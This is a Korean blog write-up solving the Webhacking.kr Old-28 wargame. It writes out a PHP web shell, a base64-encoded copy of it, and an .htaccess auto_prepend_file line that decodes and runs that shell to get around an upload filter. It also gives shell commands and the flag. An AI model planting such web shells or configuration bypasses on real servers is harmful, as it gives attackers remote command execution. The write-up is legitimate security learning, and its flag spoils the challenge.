Old-28 Write-up

Ccr3t·2025년 8월 9일
0

Wargame

목록 보기
39/55

[Solved in under 1 hour 26 minutes]

어제 문제 푼게 너무 재밌어서 자고 일어나자마자 문제를 또 풀러 왔다.

가보자

누가봐도 파일 업로드 취약점이지만 일단 소스코드 보자

별건 없지만 flag.php를 들어가보자

페이지가 아무것도 출력이 안된다

여기 든 생각이 바로는 안보이니 따로 cat flag.php 이런 형식으로 해야 보이나?
싶어서 Webshell을 올리기로 하였다.

파일 크기를 검사하는 듯 하다.

그리하여 1KB도 안되는
가장 원초적인 <\?php system($_GET['cmd']); ?> 를 써보기로 했다
실제로 넣을때는 \ << 이거 빼야함 문자열 처리하려고 넣은겁니당

잘 올라왔고 접속하면

'<' <- 이녀석이 필터링에 걸리는 듯 하여

별에 별 바이패스 다 뒤지다가 알아낸게 .htaccess 파일을 이용하는 것이다!!

.htaccess는 Apache에서 사용하는 설정파일로 예를들어
/etc/aa, /etc/aa/a_1 이렇게 두개의 디렉토리가 있다고 가정하자
서버 내의 모든 설정값은 똑같겠지만 어? 나는 a_1 디렉토리 부분에만 다른설정을 하고 싶어!! 이럴때 사용하는게 .htaccess 이다

flag.php랑 파일이 업로드 되는 곳이 같은 경로이니 .htaccess를 사용하여 볼 수 있지 않을까 생각했다.

PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+

파일에서 '<' <- 이 녀석은 필터링에 잡히니
<\?php system($_GET['cmd']); ?> 이거를 base64로 인코딩 하여 txt로 만들어 파일을 업로드 해주고

php_value auto_prepend_file "php://filter/convert.base64-decode/resource=base64_cmd.txt"

.htaccess 파일을 만들어 주었다.

간단하게 말하면 php를 불러올때 base64_cmd.txt를 먼저 불러와서 base64로 디코딩하고 그거대로 실행해라 이거다

그리고 아무 php에 접속해서 명령어를 쏴주면?

?cmd=ls

잘 먹힌다!

이걸로 다시 flag.php를 보면

?cmd=cat flag.php

그냥 진짜 안보이는거임.

생각보니 보일리가 없음 설정해놔서 안보이게 해뒀는데 페이지에 접속하는거나 cat으로 보는거나 이런 빡통대x리ㅋㅋㅎㅎㅋㅋㅎㅋㅎㅋㅎ

그래서 고안한게 flag.php이녀석을 base64로 인코딩해서 출력하면 나오지 않을까? 생각했는데 이유가 base64 명령어로 해서 보면 소스코드 원본을 추출 할 수 있다!

.php파일 이전에 소스코드의 원본파일을 겟한다면 되지 않을까?의 뜻

해봤는데

?cmd=base64 flag.php

나이스~~ㅋㅎㅎㅋㅋㅎㅎ

바로 CyberChef를 이용해서 디코딩해봤다!

PD9waHAKICAkZmxhZz0iRkxBR3tlYXN5X3BlYXN5X2FwYWNoeX0iOwo/Pgo= 

소스코드 전체 원문을 그대로 가져와서 <\? php ~ ?> 이렇게 전부 가져 온 것을 확인 할 수 있다.

이 놈을 flag에 삽입하면~?

ㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡ 답 ㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡ

FLAG{easy_peasy_apachy}

ㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡ

잘 됩니다!

기존에 File-Upload 취약점이라고 하면 웹쉘을 올리는것만 신경썼는데 설정파일을 올려서 그냥 조건을 바꿔버리는 것을 처음 알았다!!

너무 유익한 문제였다!

Webhacking.kr Old-28 Write-up

이상 보고 끝!

profile
웹해킹을 잘 못 하지만 좋아 하려고 노력하는 한 젊은이.

0개의 댓글